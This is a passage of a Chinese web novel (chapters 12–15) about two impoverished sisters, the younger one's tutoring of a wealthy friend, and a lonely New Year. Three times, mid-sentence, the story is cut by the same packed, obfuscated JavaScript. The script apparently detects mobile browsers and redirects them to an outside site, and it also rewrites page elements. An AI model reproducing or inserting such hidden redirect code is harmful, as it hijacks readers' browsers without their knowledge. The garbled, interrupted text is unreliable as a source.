急诊的床不大,床上面铺着蓝罩子,我躺到上面,盖了薄薄的被单,看着500ml的一大袋液体透过我手上的小小针眼往我身体里输。 我摸了摸口袋,一百块钱和那份获奖感言都没有了。 我有些忧虑也有点着急,这可是一百块啊,姐姐要刷几个小时的碗?要做多久的PPT? 我怎么这么没用,什么都做不好。 姐姐进来的时候,我低声啜泣着承认错误,“姐姐,我好像把钱丢了。对不起。” 姐姐愣了愣,随即摸了摸我的脑袋,“是我拿的,我背着你直接来医院了,我没装那么多钱,就先拿了你口袋里的钱。对不起。” 我听着姐姐道歉的声音摇摇头,“对不起,都怪我,我不应该去跑步的。” 姐姐说这不是我的错,说我已经很厉害了。 我没忍住抱着姐姐的腰哭了起来。 12. 第 12 章 姐姐在我的床边坐下来,仰着头看液体。 我把身子往里挪了挪,和姐姐说:“姐姐你也上来躺着吧。” 姐姐说:“没事的,你安心睡一觉吧,液没了我喊护士给你换。” 我拍了拍我身侧床,“500ml,要输好久的。没必要时时刻刻看着。。” 姐姐思索后点了点头,也侧身躺上来。 最后我和姐姐挤在小小的一张床上互相依偎,即便医院常年开着二十多度的恒温空调,可我总是没来由的觉得冷,只有抱紧姐姐时会好一些。 等输完液天早早黑了,我和姐姐牵着手走过那条漆黑的、坑坑洼洼的小路,我抬头望天,天空中零零星星的几点光明在为我和姐姐照亮前方的路。 姐姐就这么拉着我一直走,我问姐姐:“爸爸妈妈给你发信息了吗?” 姐姐身形一顿,拉着我的手紧了些,“没有。” “哦。”我说,“也不知道他们现在过得怎么样了。” “他们给我寄了信。” 我讶异地看着姐姐的背影,“为什么是信,为什么不是直接给你们发信息。你给我买手机这件事我还没告诉爸爸妈妈呢,姐姐你记得把我的电话号跟爸爸妈妈说一声,他们不接陌生来电。” 不知是寒风猛烈还是我听错了,我总感觉姐姐的声音有些沙哑,“他们去南方打拼,刚到南方就被所谓的老乡骗了,身份证、手机、钱包都没了。” “啊……”我问,“那怎么办?” 姐姐说:“他们也是这么问我的,问我怎么办。” 姐姐叹气的声音和推开房门的声音重叠在一起。 姐姐把这封信给我看了,通篇在讲述自己的悲惨遭遇,问姐姐他们现在该怎么办,要做什么,要不要回家。 我问姐姐:“姐姐你写信了吗?” “还没有。” “爸爸妈妈要回来了吗?” 姐姐沉默一瞬,答道:“我不知道。但是平心而论南方打工的机会确实比咱们这边多,如果他们能吃得了苦是可以在那边赚到钱的。” 姐姐又从书桌上拿了一封信,“这是给你的信。” 我有些欣喜,又有些震惊地接过来。 我仔仔细细将这一封信看完,信里字字句句都是在关心我,问我和姐姐生活的还习惯吗,问我的成绩怎么样了,问我一个人住害不害怕…… 不可思议,他们被骗了证件,被骗了钱,还能这么心平气和地关心我,我抬眼看着姐姐,问她:“姐姐,你的信呢?” 姐姐将那封信收起叠好和我说:“我收好了。” 我没再言语,想起昨天晚上那一点忽明忽暗的灯光,我心下一沉,我把信收好,“那我把信写好再交给你,你帮我转寄给爸爸妈妈。” 姐姐说好。 这一夜是寂静的一夜,我和姐姐躺倒床上没有再说一句话,各有各的烦心事。 我猜姐姐可能在想爸爸妈妈的去处,我郑重地摸了摸胸口的信,拿出我的小手机,果不其然看见李卿给我发了短信,我安慰她我没事了,就是那份获奖感言有点可惜了。 李卿说那都不叫事,她问我明天还去不去上学,我想了想还是决定去,我欠李卿太多了,我真的想让李卿和我上同一所高中,我想让李卿陪着我。 次日一早,姐姐已经去上学了,我也收拾了一番自己,也背着书包上学去了。 “挺好!”我一进教室门,李卿立刻站起来给我让位置,“我担心死你了,你肠胃还难受吗?” 我有点不好意思,走到里面的位置,将书包放下来,转身的时候小声说:“没什么事了,我就是锻炼的太少了。” 李卿安慰我:“没事没事,咱们身体锻炼的少,脑子锻炼的可不少。” 我笑了声,又听到李卿说她把获奖感言收起来了,我有些好奇,运动会不是都结束了吗?还收着获奖感言干什么? 李卿看出我的疑问,她说:“这份获奖感言我会一直留着的,直到你成为班级第一亲口将它念出来。” 我不禁向后瞟了一眼班长,“让我超过班长吗?这很有难度啊。班长可是卫冕冠军。” 李卿小手一挥,“嗨呀,不要让未知的苦难打倒你,他这次拿了第一不代表以后次次都是第一。” 我沉默着点头,可心底里还是觉得我不可能超过班长。 李卿还是那副乐观开朗的样子,像是什么事都压不垮她,什么事对她来说都不叫事。我想起南方的父母心里不自觉梗着一口气,这口气上不来也下不去。 “挺好,拿着。”赵澄将草莓烧饼递给我,“昨天是不是没吃早饭所以才会难受啊。” 我昨天确实没吃早饭,可我还是沉思一秒摇头,“应该……不是吧?” 赵澄对着李卿说:“你看吧,我就说不是这件事吧。” 李卿:“呵呵,我才不管,我昨天没吃早饭我的胃也有点难受,这都怪你。” 赵澄有些无语,但还是说:“好好好,以后你和挺好每天的早饭我都包了。” 李卿说:“这还差不多。” 我真的不好意思,“咋能这样?” 李卿揽着我的脖子说:“没事儿啊挺好,他家里有钱,我爸和他爸签个单子就能赚这个数。” 她对着我比了个“8”的手势,我震惊了。 “八千?”我问。 李卿脑袋趴在我的肩膀咯咯笑。 “八万?”我问。 我抬眸看赵澄嘴角也不禁勾起。 “比八万还多?”我问。 李卿不轻不重的锤了一下我的胸口,她说了一个永远没见过的数字,“是八十万。” 我惊呆了,这么多钱? 他俩看着我的表情止不住的笑。 怪不得之前我劝赵澄学习时他会露出那个表情,原来我们根本不是一种人。如果比作一条800m的跑道时,我原以为我们只是有100m的差距。可现在看来,我们并肩而立,只不过我的是起点,而他们的是终点。 李卿咳嗽了两声,随后和我说:“保密哦挺好,这件事我只和你讲过。” 我呆愣着点头。 我问:“那李卿,你还要跟我上同一所高中吗?” 李卿弹了我一个脑瓜崩,说:“这是什么话!当然要和你上一个高中啦。” 我心底很开心,可面上不显,我将练习册拿出来,“那咱们一起来学习吧。” 李卿叹了口气,拿着自己的自动笔转了两圈,听我讲起题来。 晚上回到家我写了一封给姐姐的回信,等着姐姐周日回来把信件交给姐姐。 过了些日子,此时已经一月中旬了,姐姐给我发信息,说爸爸妈妈坚持下来了,找到了新工作,两个人加起来一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019800|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月能赚六千块钱。姐姐说她收到了爸爸妈妈给她寄的三千块钱,姐姐说今天晚上带我去吃好吃的。 太好了。 恰好我的期末成绩下来了,我还是第二名。 姐姐带着我去吃火锅,热腾腾的雾气升起来,我将成绩单递给姐姐,姐姐挑眉笑笑。 “现在成绩挺稳定的。” 我有些骄傲,“当然啦。李卿在我的帮助下也提升了不少名次。” 姐姐顺着成绩单往下看,她肯定般地点头,“确实,现在她第六名了。很厉害。” 我嘿嘿嘿地笑,我给姐姐夹了肉,“姐姐吃。” 姐姐看我,“有事求我?” “哈哈。”我放下筷子,不自觉地摸了摸我的大腿,“说来也有那么一点吧。” 我的食指拇指贴合在一起,只留下一点点的缝隙,比给姐姐看,“只有一点点哦。” “说吧。” “我和李卿想去你的学校看看,可以吗?” 姐姐有些不解,“怎么突发奇想打算来我学校看看?” 我说:“就是想去看看,想去看看以后的高中是什么样子的。” 姐姐失笑,但还是说:“好。” 姐姐和我说她学校后门的栅栏处有一个缺口,可以非常规手段从这里进入。 我拿着姐姐给我画的简易版地图和李卿站在后门寻寻觅觅。 我抬头看着栅栏,“应该就是这里了。” 李卿倒吸一口气,“这是不是有点太高了……咱俩不会摔伤吧。” 我望了望天,现在是晚上七点,天空黑蒙蒙的,但是能看到教学楼里的明亮灯光,依稀可以看到倚靠在床边的学生在奋笔疾书。 我和李卿说:“如果你想去里面看的话,我抱着你跳进去。如果你不想进去看的话,咱们现在就回去。” 李卿咬了咬牙,随后还是说:“去!走!” 冬日里的铁栅栏冷得冰手,我将校服袖子抻平裹在手上,踩着铁栅栏往上爬,等我爬到最顶点时我向李卿伸出手,她拉着我的手也爬了上来。 “咚”一声,我率先落地,随后高举着双手等着李卿跳下来,可李卿有些害怕,她说:“挺好,我不会砸在你身上吧?” 我摇摇头,示意她放宽心,“有我在下面接着你呢,放心大胆地跳吧。” 我就这么一直举着手看李卿坐在铁栅栏上面,我感觉我的手都举酸了,我的脖子也酸了。 终于,李卿落入我怀里了。 我抱着李卿嘿嘿一笑,“你看,我接住你了吧?” 李卿揉了揉我冻红的耳朵,然后点头。 我们两个靠得紧紧的,在这陌生的环境互相依偎,我和李卿逛了逛操场,操场真大,是400m的,比我们学校的操场大好多。 我的手被李卿放进她的口袋和她的手贴着取暖,她没穿校服,穿的是从高档商场里买的羽绒服,不知道是什么绒的,真暖和,比那件红色班服暖和多了。 李卿轻声问我:“挺好,咱们要不一起去教学楼转转?” 李卿话刚说完,就听见教学楼传来下课铃声,是高中生们下第一节晚自习了。 如果被发现,我们会被赶出去的,那不白费劲了吗?我拉着李卿往厕所里跑,李卿和我跑得上气不接下气儿,我们两个躲在小小的厕所隔间闻着不太好闻的味道互相对视着笑。 13. 第 13 章 我和李卿等到上课铃重新打响才从厕所小隔间出来,李卿问我:“你姐姐在哪个班?” “高三一班。” “一班是不是最厉害的班啊?” “我姐说随便分的,但是我姐姐的成绩很厉害哦~”我说道。 “厉害厉害。” 我和李卿出来后又从操场逛了逛,随后翻墙出了高中。 高中外就是一条小吃街,我和李卿买了热气腾腾的烤红薯,我们两个就着塑料袋一人一口,斯哈斯哈的喘着热气,明明还没感受到味道,但我感觉这是我吃过最甜的烤红薯了。 软糯滚烫的红薯咬上一口,香甜的味道在唇齿间弥漫开来。 “李卿。”我突然喊她。 李卿刚咬了一口红薯,脸颊鼓鼓囊囊的,像一只正在进食的小仓鼠,听到我喊她就侧过头望着我,像是在问我怎么了。 寒风将我们的头发吹得猎猎作响,时间仿佛在此刻静止,周围人的喧嚣吵闹声不再入耳,我和李卿的目光所及之处只有彼此。 如果时间真的静止在这一刻就好了。 李卿将嘴里的烤红薯咽下去换成了一个笑,“挺好,咱们努力吧,一定要上这个高中好不好?” 我用力点了点头,我就是这么想的。 我和李卿道别,各自回了家,我洗漱后孤身一人蜷缩在冷冰冰的被窝里,寒气从脚心止不住地向上窜,我好烦,难道是被子没盖严实吗? 我翻了个身,脑袋枕着胳膊,做了半天思想斗争,终于坐起身去看我脚下的被子,是盖严的。 我长叹了一口气,重新躺下将被子拉过头顶,整个人蜷缩成虾米,手臂抱着膝盖,实在是太冷了。 放寒假的第一天,我按约定去了李卿的家帮她补习功课,李卿说可以给我补课费,一天五十块钱,我很开心很幸福。 我知道李卿家里完全可以出得起名师的补课费,李卿让我来给她补课是想借这个名义让我赚一些生活费,但我不清楚李卿的家长为什么会同意。 当我踏入李卿的家时我愣住了,明明我和李卿居住在同一个城市,明明我知道李卿家中优渥,可我从没想到李卿的家中是这样的。 李卿的家很大,可以称得上是庄园的程度,我打侧门进去,有人提醒我小心脚下的花草,据说这是李卿妈妈精心养育的名贵品种,我看着长长的草,心中只觉得莫名尴尬,很漂亮,我想夸赞,可我甚至不知道这是什么品种。 等到真正进了李卿的家,我感到一阵眩晕,太华丽了,我一时间不知道看哪里好,客厅顶端的灯白天也在开着。李卿从楼上看到我来了,光着脚跑下来迎接我,她抱住了我。 “挺好你终于来了,我等你半天了。”李卿拉着我的手上楼。 本来我还想问李卿光着脚冷不冷,马上我就意识到了这个问题是多么的愚蠢。李卿的家里常年维持在25℃左右,是最舒适的气温,而且还开着地暖。 李卿带我到她的书房,我有些震惊,这是书房吗,这一间书房都比我家大了。 我看着书架上琳琅满目的崭新书籍感到一丝羡慕,粗略看去应该有上千本书了,李卿像是看出来了,她友好地笑了笑,问我:“挺好,这些书我看不完,你要是喜欢就借走几本慢慢看。” 我感激地看着李卿,一时间不知道说什么好。 李卿大方的说:“挺好,咱俩谁跟谁呀,你就是我最好的朋友。” 我用力点了点头,我想我一定要和李卿上同一所高中,我们要一起长大。 我给李卿讲题,一题一题地讲,配合着课本上的知识和我自己总结归纳的知识点。我看李卿听得认真,我问她听懂了吗?她点点头,想来是真明白了。 我索性用自动笔写的痕迹都擦了,然后把笔递给她,让她再写一遍。 她哀嚎一声接过笔,随后双手抱住脑袋轻轻磕在试卷上。 “怎么你给我讲的时候我能听明白,可一让我自己写我就不会了?!” “因为你只是配合着我自己的思路走,不是你自己想出来的。”我轻轻揉捏她的脖颈,“好了起来吧。顺着你自己的思路写一遍,我看看你是怎么想的。” 五分钟后,我看着李卿写的公式皱眉,百思不得其解。 “你为什么又抄了一遍题目?” “嗯……”李卿支支吾吾的,“因为我觉得这道题的题目出得就很怪啊。” 她理直气壮地指着题目,“你看它明明给了OA的长度还要求它啊?出题人这不是自相矛盾么?” 我深深呼出一口气,想到李卿给我的五十块钱补课钱还有书籍,我还是强压下了这股怒火,“咱们求的是OA''。” 我冷酷无情地开口:“从现在开始,你把每道题都给我读一遍再做。” 李卿可怜地对对手指,“对不起啦,我只是有点太困了。” 她扭头看向窗外,“今天的阳光太好了,搞的我都有点困了,要不咱们先去睡一觉吧,醒来吃完饭再写作业。” 我看着窗外阳光,今天确实是个好天气,很适合睡觉。可我还是残忍拒绝:“不行。要说适合睡觉那哪个天气不适合睡觉呢?天气热了适合开空调吃冰凉西瓜,吃饱喝足后再睡一觉;天气冷了干脆窝在暖和的被窝里一睡不起;天气不冷不热最适合出门玩,玩儿他个疲惫不堪回到家倒头大睡。早上不想起床干脆拖到中午再起,等到中午起来了又要吃个饭看会儿电视再睡个午觉,睡到下午起来再吃个晚饭和家人朋友聊会儿天,一天就这么浑浑噩噩地过去了。按这么说的话,那一年四季365天就没有适合学习的日子,没有适合学习的时辰。懈怠一次就会想懈怠第二次,杜绝偷懒的最高效做法就是从一开始就不要有偷懒的念头,降低一次目标底线你的目标就会一降再降,和学习成绩一样。” “如果你想休息的话至少要把这张卷子都弄明白再休息。” 李卿被我说的愣住了,过了会儿揉了揉眼睛,“会不会太多了?” “不多,算是选择、填空、大题,加在一起就还差十道题了。” “放马过来吧!”李卿坐直身体,握着笔,斗志昂扬的喊道。 “好!” 我出了李卿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019801|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家门,抬头望着黑漆漆的天空,望着寒夜中的繁星点点。给李卿把这十道题全部讲明白已经是晚上了,监督她打印了一份新的试卷随后重新写完才算完成今天的补习任务,婉拒留在李卿家吃饭的邀请,不知道姐姐今天会不会回家。 我攥紧口袋里的崭新的五十块钱,我想真好,如果我以后能成为老师也很不错。一天有五十块就够了…… 不,不够。 如果我一天能赚到一百块钱就好了,这样爸爸妈妈就能从南方回来了,回到我和姐姐的身边。 我怀着对未来美好的畅想回到了家,冷冰冰的屋子比外面天色还要黑暗,我拉了灯,打开一扇窗,透过月光去看这五十块钱。 真好,有了钱,姐姐就不用给别人做PPT赚钱了,姐姐就不用给别人洗碗了。 我嘿嘿一笑,将这五十块钱郑重对折再对折,放在我枕头底下。我拉开被子盖好,手情不自禁地摸枕头下面的五十块钱,摸半天没摸到,我胆战心惊掀开枕头一看,钱原来在最边边。我又将五十块展开再展开,重新压在枕头下面,再伸手一摸就能摸到了。我又嘿嘿一笑,就着五十块钱我进入了美美梦乡。 又是美好的一天。 今天姐姐回来了,早上我没起床的时候就感到一阵冷风顺着脖子往下跑,我睁开一条小缝观察着外面的情况,发现姐姐正坐在书桌前写着什么。我兴奋地对姐姐举着五十块钱,“姐姐你看,这是我自己赚到的。” 姐姐上半身转过来看着我,嘴角露出一抹浅淡笑意,“厉害。” 随后姐姐顿了顿又问我:“累吗?” “还好吧。”我想了想,“李卿是一个很好的人。” 细密的风透过门缝呼呼的往屋里钻,我吸了吸鼻子,“而且。我多干一点,挣的钱多一点,你们就更轻松一点。” 出乎我意料的是,姐姐听到我说完这句话没说写什么,而是把身子转了过去,抬手摸了一下脸。 我贱兮兮地穿好衣服凑到她跟前,“怎么啦姐姐唉?眼睛里进沙子啦啊?” 姐姐把我的脑袋推开,让我别贫。 我嘿嘿一笑端了盆水洗脸去了。 我和我姐说了声就去李卿家接着补课了,我姐应了声嘱咐我路上慢点,我开开心心地哼着歌儿出了门。 真呀真高兴,这份喜悦直到我进了李卿的家看到她的错题时戛然而止。 我提前为李卿抄写了一份昨天讲过的题,可李卿基本上全错,她见我的脸沉了下去,笑嘻嘻地讨饶:“挺好能不能再给我讲一遍?” 李卿是我的雇主,我自然没有说不的道理,于是我又仔仔细细地讲了一遍题,李卿双手一拍,斩钉截铁地对我说:“挺好,我这次是真的懂了!” 我照例把她写过的答案擦掉问她解题思路,她都答对了,我这才满意地点点头,我知道了她的薄弱点,接下来只需要一个类型的题目找出几百道,让她拿着去做,按李卿的进度只需要做个一二百道就能烂熟于心了。 这样算下来,单数学一科十个类型的题林林总总加起来,也不多,就两三千道吧。 14. 第 14 章 日子就这么一天天过去,年前补课的最后一天我给李卿做了个测验,算下来李卿的成绩离我们想上的高中还有些距离,但是还有一个学期,照这个学习进度的话,没什么问题。 我收拾好东西,和李卿道别准备回家,被李卿拦下,从抽屉里拿出一个红包递给我,我一惊,她今天的补课费已经交给我了。 她摇头,甜甜地笑道:“不是的。这是我父母给你的压岁钱,他们很感谢你帮助我学习,但因为厂子有事,就让我把钱交给你,提前祝你新年快乐。” 我推拒着,“这不合适。你知道的,我家不算富裕,这个钱收下的话就还不了你了,这不合适。心意我收到了,钱你收回去吧,也提前祝你新年快乐。” 李卿笑笑,没再多说什么,把钱收了回去。 天色不早,我对手呵了一口气,我仰头看着房屋之间挂着的小彩旗和红色带,心下一动,快过年了啊,就是不知道爸爸妈妈什么时候从南方回来。 我回到家姐姐正在写春联,我好奇问道:“这么早就开始准备了吗?” 姐姐点点头,指着锅里熬好的浆糊,“今天就腊月二十九了,该贴春联了。” “啊,那爸爸妈妈是今天回来吗?”我问姐姐,“明天就除夕了,怎么着不也得吃个团圆饭吗?” 姐姐听到我这么说,神色有些落寞,她将手中的毛笔放下,整理了一下春联,“爸爸妈妈今年不回来过年了,他们说留在那边有三薪,过完年也不回来了,一直在那边干。” 我沉默了好久,转头从枕头下面拿出一个又一个五十块钱,我数了数,一共是一千零五十块钱,我把钱交给姐姐,问她:“我把这些钱交给爸爸妈妈,可以抵他们的三薪吗?” 姐姐怔了会儿,随后摸了摸我的头,勉强笑了一下对我说:“这钱你收好吧,爸爸妈妈不会回来了。” 我“哦”了声,但还是没把钱收回来,塞到姐姐的手里,“姐姐你拿着吧,你学习最重要了,你不要去打工了,如果你的钱不够了就和我说,我想办法。” 姐姐这下是真的忍不住了,她蹲下身抱住我,拍了拍我的后背,“我是姐姐诶,你是妹妹,你要做的就是乖乖的听大人的话,钱的事你不要担心,姐姐会让你有学上的。” “没事的。”我安慰姐姐,“之前老师们给了我一张银行卡,这就是我的生活费。” 姐姐把钱对折后接着放到我的枕头底下,告诉我这就是我的钱,谁来都不可以把它拿走,包括爸爸妈妈也不行。 其实我有点不明白,赚到钱不就是拿来分享拿来花的吗? 为什么姐姐要让我一直攒着? 但我还是听姐姐的话,没有再动用这笔钱,姐姐带着我,带我去到银行,办了一张我自己的银行卡,把钱存在了里面,谁都不知道密码,就连姐姐也不知道密码,只有我知道。 姐姐说这是我的退路,她说大人的责任不应该压在我的身上,我赚到的钱就应该我自己花。 回到家后我和姐姐贴了对联,我们两个看着被倒过来的“福”字,相视一笑。贴好春联,姐姐就进屋拿了纸笔,问我年夜饭想吃什么菜? 我想了想说道:“年夜饭年夜饭嘛,最起码得有米饭吧。想吃什么菜就由你来决定吧。” 姐姐说好。 姐姐上街去买菜了,我拿出来书包,这段时间一边给李卿补课一边写寒假作业,但是还没写完,我准备趁着现在不忙再继续写点儿。我一打开书包就被夹层中亮闪闪的一抹红色吸引了视线,我翻开夹层,正是一份红包,款式与李卿给我的别无二致。 我打开一看,一千块钱。 我大吃一惊,这么多钱?! 我把钱塞回去,一时间不知道把红包放哪好,思来想去最后还是放回书包的夹层中,准备等明天白天还回去。 我把英语作业完成得差不多了,姐姐也回来了,姐姐提了一大兜子的菜还有油炸的小丸子和热腾腾的红薯。 姐姐和我说:“这是咱们两天的伙食,如果不够吃的话就再去买,只是大年三十应该没有人会出摊了。” 我欣喜地抱住姐姐的腰,姐姐被我扑得一愣,手中的菜茶点跌落在地,“真好呀,即便是咱们两个人过年也有年味儿和年夜饭。” 姐姐笑了笑,没多说什么,在简陋的灶台上把饭菜放下,准备开始做饭。我见状凑到跟前帮忙打下手,把豆角掰成一截一截的,随后倒了冷水准备洗菜。 冰凉的水激得我一哆嗦,我扭头看了眼姐姐,还好姐姐没看到,不然就不会让我接着洗菜了。我强忍着冷水,给豆角搓的干干净净。我一边洗菜一边想,如果我以后有钱了,洗菜我要用热水洗。 姐姐正在切肉,见我把洗好的菜放在她身边,她温柔的让我快去休息。 我摇摇头说不用,站在姐姐身边看她倒油,葱蒜的味道被热油一激顿时散发出香味,紧接着姐姐便开始炒菜。 我们就着米饭吃着热菜,看窗边太阳慢慢下降,又是一天过去了。 次日除夕,姐姐一大早便起来忙活,我揉了揉眼睛,意识还没清醒,姐姐已经备好水洗漱了。 姐姐热了热昨天买回来的烤红薯,就当作是早饭了。两个人就着普通的塑料小勺子你一口我一口,把本就不算大的红薯吃得干干净净。 吃过早饭后,姐姐说是给我一个惊喜,就带着我上了街,趁服装店还没关门赶了进去。 老板娘啧啧道:“你们来的真巧,我们正准备关门回家过年呢。” 姐姐笑了笑,拿了货架上的衣服递给我,下巴冲试衣间的方向抬抬,示意我进去换衣服。 我接过崭新的、大红色的毛衣,走进来那家小小的“试衣间”,说是试衣间,实际就是一根绳子拉了一块不大的布,组成了一个小小的私人空间。 我把破旧的、打着补丁的浅灰色毛衣脱掉,冷空气瞬间包裹着我的身体,我冷得牙齿都在打颤,连忙将新毛衣穿上,独属于新衣服的味道将我包围,我略微整理了一下就撩开了试衣间的门,有点不好意思地让姐姐看。 姐姐点了点头,说:“不错。” 她转头看向老板娘,问道:“多少钱?” 老板娘坐在凳子上嗑瓜子,瓜子皮随意吐在地上,漫不经心地说:“五十。” 姐姐没说什么,又给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019802|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿了件浅蓝色的毛衣让我去试。 我试了试,发现有点大,可我还是走了出去。 姐姐又问这件多少钱,老板娘眉眼没抬,垂眸看着账本,一边嗑瓜子一边说毛衣统一五十。 姐姐问我:“挺好,这两个你喜欢哪个?” 我捏了捏毛衣下摆,对姐姐小声说:“这个浅蓝色的吧,衣服大,我以后长高了还能穿。” 姐姐听我这么说眉头皱了皱,她摸了摸我的头,“挺好,姐姐带你来买衣服,你只需要挑你喜欢的就行了,价钱与否不是你该考虑的问题。” 我闻言点了点头。 老板娘诧异一瞬,脑袋也抬起来认真看着我俩,又指向姐姐问:“你是她姐姐啊?不是她妈?” 我有点不乐意,姐姐哪有那么显老? 姐姐倒是没什么反应,只是淡淡应了一句是。 老板娘犹豫一瞬就说道:“哎呦姐妹俩也怪不容易的。正好今天大年三十,你们俩要是买的话买一送一,我也就当是积德了。” 姐姐笑了笑,感谢了老板娘的好意,随后拿着我的毛衣和那件红色毛衣,准备结账。 我拦下了姐姐的手,拿过姐姐手里我的毛衣,径直走到试衣间,把我原来老旧的衣服穿上了,那件蓝色毛衣被我叠好端出去放到外面的沙发上。 姐姐看我这样不明白我是什么意思,我对姐姐说:“五十块买一送一,姐姐你也选一件吧,我有钱。” 姐姐听到我这么说拒绝了,“只有我给你花钱的道理。听话,两件衣服都拿着。” 我还想再说些什么,就被姐姐的话打断。 “挺好,听话。” 我拗不过姐姐,再加上我出门没带钱,只好说好。 “不过姐姐,我也想看看你穿新衣服是什么样子的。”我拉了拉姐姐的手,说道。 姐姐一脸严肃,郑重其事的教育我:“如果你不想买,从一开始就不要试。这很耽误别人的时间。” “哎呀哎呀。”老板娘从凳子上下来,伸手拿了一件大一点儿的红毛衣递给姐姐,“这有什么麻烦不麻烦的?不就顺手的事儿吗?” “反正就是三件选两件,一共五十块钱就能拿了。”老板娘转头朝地上吐了一口瓜子皮,嘴里嚼了两下,“我也就当是过年攒攒喜气儿了。” 姐姐拿着衣服进了试衣间,我照了照镜子,又将红毛衣在身前比了比,心想还是留红色的衣服吧,和姐姐一样,任人一看就知道我们俩是姐妹。 姐姐穿着一样的红毛衣出来,我眼前一亮,姐姐有些不自然地拂过耳后的头发,在镜子面前照了照,平常亮晶晶的大眼睛此刻正低头看地面。 我夸姐姐穿这个毛衣真的很好看,姐姐对我的称赞没说什么,只是和老板娘说:“还是要那两件小的吧,我有衣服穿。” 我有些不满,我想说我可以出钱把姐姐的衣服也买了,可是我的嘴被姐姐捂上了。 老板娘爽快道:“行。就穿着新衣服回去吧,我把旧衣服给你们装袋子里。” 我想直接把姐姐的旧衣服递给老板娘,可姐姐下一秒就把我两件衣服的吊牌都给卸了。 15. 第 15 章 我抱着一件新衣服一件旧衣服出了店门,心中却闷闷不乐,姐姐对我太好了,我不知道该怎么回报姐姐,思来想去记下这份爱,等着年后我接着去为李卿补习功课去。若李卿不想要我了,我只找个洗碗刷盘子的地方赚些钱,给姐姐买过年的新衣服穿。 姐姐领着我走在泥土路上,我牵着姐姐的手,情不自禁勾了勾她的手指,引得她诧异的看向我,她问:“怎么啦?” “姐姐,你为什么对我这么好呢?” 姐姐没多想,回答我:“姐姐对妹妹好还需要什么理由吗?就因为你是我的妹妹呀。” 我哦了声,慢慢握紧姐姐的手指,“姐姐,等我能赚好多好多钱的时候,我会给你和爸爸妈妈花,全都给你们花的。” 姐姐听我这么说神色微怔,她摇摇头拒绝了,“不要因为姐姐现在对你好,你以后就要回报我。这是两码事。我对你好,是因为我喜欢你。你赚到的钱就是属于你的,不要因为所谓的‘回报’就把你所有的钱给我们。任何时候,钱都是拿在你自己手里才最安心。更何况姐姐比你年纪大,比你工作早,比你赚钱早,怎么会拿你的钱呢?” 我似懂非懂地点点头,对于我来说,年纪比我大的姐姐见识比我多,懂得东西也比我多得多,姐姐对我说的话,自然是最正确不过的话了。可我长大了还是想给姐姐花钱,因为我也喜欢姐姐,就像姐姐喜欢我那样。 回到家后,我和姐姐又把家里收拾了一下,随后我跟姐姐打了声招呼就出门了。 我紧紧攥着羽绒服口袋里的一千一百块钱,生怕被人看到或者是掉出来,去李卿家的路上我想象了无数种这一千块钱被人偷走、抢走的可能性。 到李卿家门口,我把这一千块钱拿出来视若珍宝地又数了一遍,准备完完整整的还给李卿。 出乎我意料的是,今天不是李卿给我开的门,我望着身姿高大的男人,怯生生问道:“您好,请问李卿在家吗?” “你找李卿有什么事吗?你是她的同学?” 我不太敢看他,下意识捏紧手里的钱往他身前递,“是,我是赵挺好,这些钱能否请您帮我还给她?” 他默了默,最终还是拒绝了我,“不好意思,这是李卿给你的钱,我无权替她收下。” 我愣了几秒,手中的钱给也不是收回来也不是,最后只能从嗓子眼儿里干巴巴地挤出来一句,“好的,多谢您了。” 他点点头,“没什么事的话请回吧。” 我只好将这一千块钱收好,重新放回我的口袋里,抬头望着他说:“那我先走了。” 我一边摩挲着口袋里纸币上的纹路一边想,这个男人是李卿的哥哥吗?可是我没听过李卿说她有过哥哥。是父亲吗?也不像,太年轻了,看着和李卿差不了几岁。再说,李卿和我说这是她父亲给我的压岁钱,如果他真是李卿父亲的话,没理由不知道这件事。 我又去了那家服装店,我准备用我当家教赚的钱给姐姐买新衣服,可能是我去的太晚了,店家已经关门了,我叹了一口气。也是,今儿个是大年三十除夕夜,人家早都回家过年了,要买衣服的早在前几天就买完了。 哪有人像我一样选在当不当正不正的时间点上街买衣服啊,我随意踢了踢路边的小石子儿,从东街踢到西街也没看到一家卖衣服和卖鞋的。 我没办法了,但是也不想空着手回去,我想让姐姐开心。 最终在一家饭店门前停下了脚步,我眯了眯眼睛,视线停在了门口的招牌上。 【特大喜讯,春节连市!除夕订餐最低仅需八八元起!】 我将口袋里那张鲜红的纸币从上摸到下、从左摸到右。我抬头看了眼天,只见许多小红灯笼被白线串在一起挂在天上飞舞。 又是一个年,我最后踢了一脚石子儿,不偏不倚正滚落到石狮子下面,我抬脚迈进了饭店。 我看着墙上琳琅满目的菜单有些咋舌,真是不便宜。 